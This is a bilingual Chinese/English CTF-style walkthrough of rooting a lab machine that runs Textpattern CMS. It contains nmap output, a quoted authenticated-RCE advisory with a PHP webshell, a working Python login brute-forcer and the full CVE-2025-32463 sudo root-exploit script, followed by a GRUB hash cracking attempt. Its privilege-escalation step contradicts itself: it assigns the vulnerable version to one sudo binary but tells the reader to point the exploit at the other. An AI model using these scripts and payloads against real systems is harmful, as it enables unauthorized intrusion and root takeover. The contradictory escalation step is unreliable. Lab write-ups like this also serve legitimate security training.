本次靶机渗透实战主要结合了CMS后台漏洞与SUID本地提权。首先,通过信息收集发现80端口运行 Textpattern CMS。攻击者编写Python脚本成功爆破出后台弱口令 admin:superman,随后利用该CMS的授权远程代码执行漏洞(上传PHP Webshell)获取了 www-data 初始权限。在提权阶段,通过枚举SUID文件发现系统共存两个版本的 sudo,攻击者利用存在漏洞的指定版本(CVE-2025-32463),微调PoC路径后成功提权至 root 。最后在配置文件中提取了 todd 用户的 GRUB 哈希,但未能破解。 This target machine penetration exercise primarily combined a CMS backend vulnerability with SUID local privilege escalation. First, through information gathering, it was discovered that Textpattern CMS was running on port 80. The attacker wrote a Python script to successfully brute-force the weak credentials admin:superman for the backend. Subsequently, by exploiting an authenticated remote code execution vulnerability in this CMS (uploading a PHP Webshell), initial access as the www-data user was obtained. During the privilege escalation phase, by enumerating SUID files, it was found that the system had two versions of sudo coexisting. The attacker exploited the vulnerable specific version (CVE-2025-32463), made minor adjustments to the PoC path, and successfully escalated privileges to root. Finally, the GRUB hash for the user todd was extracted from a configuration file, but it could not be cracked.
信息收集
# Nmap 7.95 scan initiated Sun Dec 21 12:12:22 2025 as: /usr/lib/nmap/nmap -sC -sV -O -oN nmap_result.txt 192.168.110.165
Nmap scan report for 5ud0.lan (192.168.110.165)
Host is up (0.00061s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 10.0p2 Debian 5 (protocol 2.0)
80/tcp open http Apache httpd 2.4.62 ((Debian))
|_http-title: My site
|_http-generator: Textpattern CMS
|_http-server-header: Apache/2.4.62 (Debian)
MAC Address: 08:00:27:F2:F5:A8 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Dec 21 12:12:35 2025 -- 1 IP address (1 host up) scanned in 13.92 seconds
漏洞分析
根据搜索得到管理员后台example.com/textpattern
➜ 5ud0 searchsploit textpattern
TextPattern CMS 4.8.7 - Remote Command Execution (Authenticated) | php/webapps/49996.txt
TextPattern CMS 4.8.7 - Remote Command Execution (RCE) (Authenticated) | php/webapps/50415.txt
➜ 5ud0 searchsploit -m 49996.txt
➜ 5ud0 cat 49996.txt
# Exploit Title : TextPattern CMS 4.8.7 - Remote Command Execution (Authenticated)
# Date : 2021/09/06
# Exploit Author : Mert Daş merterpreter@gmail.com
# Software Link : https://textpattern.com/file_download/113/textpattern-4.8.7.zip
# Software web : https://textpattern.com/
# Tested on: Server : Xampp
First of all we should use file upload section to upload our shell.
Our shell contains this malicious code: <?PHP system($_GET['cmd']);?>
1) Go to content section .
2) Click Files and upload malicious php file.
3) go to yourserver/textpattern/files/yourphp.php?cmd=yourcode;
After upload our file , our request and respons is like below :
Request:
GET /textpattern/files/cmd.php?cmd=whoami HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0)
Gecko/20100101 Firefox/89.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Cookie: txp_login_public=18e9bf4a21admin; language=en-gb; currency=GBP;
PHPSESSID=cctbu6sj8571j2t6vp7g8ab7gi
Upgrade-Insecure-Requests: 1
Response:
HTTP/1.1 200 OK
Date: Thu, 10 Jun 2021 00:32:41 GMT
Server: Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/7.4.20
X-Powered-By: PHP/7.4.20
Content-Length: 22
Connection: close
Content-Type: text/html; charset=UTF-8
pc\mertdas
漏洞利用分析:
- 前提条件 (Authenticated):我们必须先登录后台。
- 上传点 (Upload):登录后进入
Content→Files界面。 - Payload:上传一个包含
<?PHP system($_GET['cmd']);?>的 PHP 文件。 - 触发 (Trigger):访问
/textpattern/files/你的文件名.php?cmd=whoami来执行命令。
利用
尝试弱凭据无果后,使用python暴力破解用户admin
import requests
import sys
# ================= 配置区域 =================
# 目标 URL
url = "http://textpattern.dsz/textpattern/index.php"
# 用户名
username = "admin"
# 字典路径 (Kali 默认路径)
wordlist = "/usr/share/wordlists/rockyou.txt"
# 登录失败的特征字符串
fail_string = "Could not log in"
# ===========================================
def brute_force():
print(f"[*] 正在攻击目标: {url}")
print(f"[*] 用户: {username}")
# 伪造 User-Agent 防止被拦截
headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0"
}
try:
with open(wordlist, "r", encoding="latin-1") as f:
for password in f:
password = password.strip()
# 使用 Session 对象自动处理 Cookies/PHPSESSID
s = requests.Session()
# 构造 Payload,注意 event 参数通常是 login
data = {
"p_userid": username,
"p_password": password,
"_txp_token": "", # 根据你的观察,Token 为空
"event": "login", # 尝试 login 动作
"lang": "en"
}
try:
# 发送请求
r = s.post(url, data=data, headers=headers, allow_redirects=True)
# 打印进度 (覆盖同一行)
sys.stdout.write(f"\r[-] 尝试密码: {password:<20}")
sys.stdout.flush()
# 判断逻辑:如果页面中没有“失败特征”,且状态码为 200 或 302,则可能成功
if fail_string not in r.text:
print(f"\n\n[+] 成功! 密码是: {password}")
return
except Exception as e:
# 忽略网络抖动错误
continue
except FileNotFoundError:
print(f"\n[!] 错误: 找不到字典文件 {wordlist}")
sys.exit()
if __name__ == "__main__":
brute_force()
得到凭据admin:superman
登陆后上传文件即可获取用户www-data的shell
权限提升
www-data@5ud0:/tmp$ find / -perm -4000 2>/dev/null
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/mount
/usr/bin/su
/usr/bin/umount
/usr/bin/pkexec
/usr/bin/sudo
/usr/bin/passwd
/usr/local/bin/sudo
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/libexec/polkit-agent-helper-1
发现两个sudo
/usr/local/bin/sudo --version → 1.9.6
/usr/bin/sudo --version → 1.9.16p2
which sudo → /usr/local/bin/sudo
在网上寻找到1.9.16p2的漏洞,即CVE-2025-32463
#!/bin/bash
# sudo-chwoot.sh
# CVE-2025-32463 – Sudo EoP Exploit PoC by Rich Mirch
# @ Stratascale Cyber Research Unit (CRU)
STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)
cd ${STAGE?} || exit 1
cat > woot1337.c<<EOF
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void woot(void) {
setreuid(0,0);
setregid(0,0);
chdir("/");
execl("/bin/bash", "/bin/bash", NULL);
}
EOF
mkdir -p woot/etc libnss_
echo "passwd: /woot1337" > woot/etc/nsswitch.conf
cp /etc/group woot/etc
gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c
echo "woot!"
sudo -R woot woot
rm -rf ${STAGE?}
这是原来的poc,我们需要更改sudo -R woot woot这一行为/usr/local/bin/sudo -R woot woot
运行即可
经验教训
进入后在/etc/grub.d/40_custom发现todd用户的hash
➜ echo "grub.pbkdf2.sha512.10000.331CE43938E4B3E78E46FA5870701CF066644AE172308EA85401990390EF43ABCEA86EF085F010EABF28AAC613692A970FDE435B6AB36959FBF69E14F190BB17.F75B2CB6CDE13A8BBED7CD102E634216374FD9B5962C85FFB845954A98448E8D5DE5A5070B573D09043FDAFA92B8FC1BEDF59AA413EFD5000EB99B150C5FCC88" > todd_hash.txt
➜ hashcat -m 7200 todd_hash.txt /usr/share/wordlists/rockyou.txt
破解不出来
Information Gathering
# Nmap 7.95 scan initiated Sun Dec 21 12:12:22 2025 as: /usr/lib/nmap/nmap -sC -sV -O -oN nmap_result.txt 192.168.110.165
Nmap scan report for 5ud0.lan (192.168.110.165)
Host is up (0.00061s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 10.0p2 Debian 5 (protocol 2.0)
80/tcp open http Apache httpd 2.4.62 ((Debian))
|_http-title: My site
|_http-generator: Textpattern CMS
|_http-server-header: Apache/2.4.62 (Debian)
MAC Address: 08:00:27:F2:F5:A8 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Dec 21 12:12:35 2025 -- 1 IP address (1 host up) scanned in 13.92 seconds
Vulnerability Analysis
According to the search, the admin backend is example.com/textpattern
➜ 5ud0 searchsploit textpattern
TextPattern CMS 4.8.7 - Remote Command Execution (Authenticated) | php/webapps/49996.txt
TextPattern CMS 4.8.7 - Remote Command Execution (RCE) (Authenticated) | php/webapps/50415.txt
➜ 5ud0 searchsploit -m 49996.txt
➜ 5ud0 cat 49996.txt
# Exploit Title : TextPattern CMS 4.8.7 - Remote Command Execution (Authenticated)
# Date : 2021/09/06
# Exploit Author : Mert Daş merterpreter@gmail.com
# Software Link : https://textpattern.com/file_download/113/textpattern-4.8.7.zip
# Software web : https://textpattern.com/
# Tested on: Server : Xampp
First of all we should use file upload section to upload our shell.
Our shell contains this malicious code: <?PHP system($_GET['cmd']);?>
1) Go to content section .
2) Click Files and upload malicious php file.
3) go to yourserver/textpattern/files/yourphp.php?cmd=yourcode;
After upload our file , our request and respons is like below :
Request:
GET /textpattern/files/cmd.php?cmd=whoami HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0)
Gecko/20100101 Firefox/89.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Cookie: txp_login_public=18e9bf4a21admin; language=en-gb; currency=GBP;
PHPSESSID=cctbu6sj8571j2t6vp7g8ab7gi
Upgrade-Insecure-Requests: 1
Response:
HTTP/1.1 200 OK
Date: Thu, 10 Jun 2021 00:32:41 GMT
Server: Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/7.4.20
X-Powered-By: PHP/7.4.20
Content-Length: 22
Connection: close
Content-Type: text/html; charset=UTF-8
pc\mertdas
Exploit Analysis:
- Prerequisite (Authenticated): We must first log in to the backend.
- Upload point (Upload): After logging in, go to the
Content→Filesinterface. - Payload: Upload a PHP file containing
<?PHP system($_GET['cmd']);?>. - Trigger (Trigger): Access
/textpattern/files/your_filename.php?cmd=whoamito execute commands.
Exploitation
After trying weak credentials without success, use Python to brute-force the user admin
import requests
import sys
# ================= Configuration Area =================
# Target URL
url = "http://textpattern.dsz/textpattern/index.php"
# Username
username = "admin"
# Dictionary path (default Kali path)
wordlist = "/usr/share/wordlists/rockyou.txt"
# String indicating login failure
fail_string = "Could not log in"
# ===========================================
def brute_force():
print(f"[*] Attacking target: {url}")
print(f"[*] User: {username}")
# Spoof User-Agent to prevent blocking
headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0"
}
try:
with open(wordlist, "r", encoding="latin-1") as f:
for password in f:
password = password.strip()
# Use Session object to automatically handle Cookies/PHPSESSID
s = requests.Session()
# Construct Payload, note that the event parameter is usually login
data = {
"p_userid": username,
"p_password": password,
"_txp_token": "", # Based on your observation, Token is empty
"event": "login", # Try login action
"lang": "en"
}
try:
# Send request
r = s.post(url, data=data, headers=headers, allow_redirects=True)
# Print progress (overwrite the same line)
sys.stdout.write(f"\r[-] Trying password: {password:<20}")
sys.stdout.flush()
# Judgment logic: if the page does not contain the "failure string", and the status code is 200 or 302, it might be successful
if fail_string not in r.text:
print(f"\n\n[+] Success! Password is: {password}")
return
except Exception as e:
# Ignore network jitter errors
continue
except FileNotFoundError:
print(f"\n[!] Error: Dictionary file not found {wordlist}")
sys.exit()
if __name__ == "__main__":
brute_force()
Obtained credentials admin:superman
After logging in, upload the file to get a shell as user www-data
Privilege Escalation
www-data@5ud0:/tmp$ find / -perm -4000 2>/dev/null
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/mount
/usr/bin/su
/usr/bin/umount
/usr/bin/pkexec
/usr/bin/sudo
/usr/bin/passwd
/usr/local/bin/sudo
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/libexec/polkit-agent-helper-1
Found two sudo
/usr/local/bin/sudo --version → 1.9.6
/usr/bin/sudo --version → 1.9.16p2
which sudo → /usr/local/bin/sudo
Found a vulnerability for 1.9.16p2 online, namely CVE-2025-32463
#!/bin/bash
# sudo-chwoot.sh
# CVE-2025-32463 – Sudo EoP Exploit PoC by Rich Mirch
# @ Stratascale Cyber Research Unit (CRU)
STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)
cd ${STAGE?} || exit 1
cat > woot1337.c<<EOF
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void woot(void) {
setreuid(0,0);
setregid(0,0);
chdir("/");
execl("/bin/bash", "/bin/bash", NULL);
}
EOF
mkdir -p woot/etc libnss_
echo "passwd: /woot1337" > woot/etc/nsswitch.conf
cp /etc/group woot/etc
gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c
echo "woot!"
sudo -R woot woot
rm -rf ${STAGE?}
This is the original poc, we need to change the action of 'sudo -R woot woot' to '/usr/local/bin/sudo -R woot woot'
Just run it
Lessons Learned
After entering, found the hash of user todd in /etc/grub.d/40_custom
➜ echo "grub.pbkdf2.sha512.10000.331CE43938E4B3E78E46FA5870701CF066644AE172308EA85401990390EF43ABCEA86EF085F010EABF28AAC613692A970FDE435B6AB36959FBF69E14F190BB17.F75B2CB6CDE13A8BBED7CD102E634216374FD9B5962C85FFB845954A98448E8D5DE5A5070B573D09043FDAFA92B8FC1BEDF59AA413EFD5000EB99B150C5FCC88" > todd_hash.txt
➜ hashcat -m 7200 todd_hash.txt /usr/share/wordlists/rockyou.txt
Could not crack it